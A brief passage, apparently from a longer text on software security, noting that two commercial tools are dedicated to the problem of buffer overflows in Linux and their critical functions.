critical functions. These two commercial tools are dedicated specifically 
dedicated to the problem of buffer overflow in Linux. 
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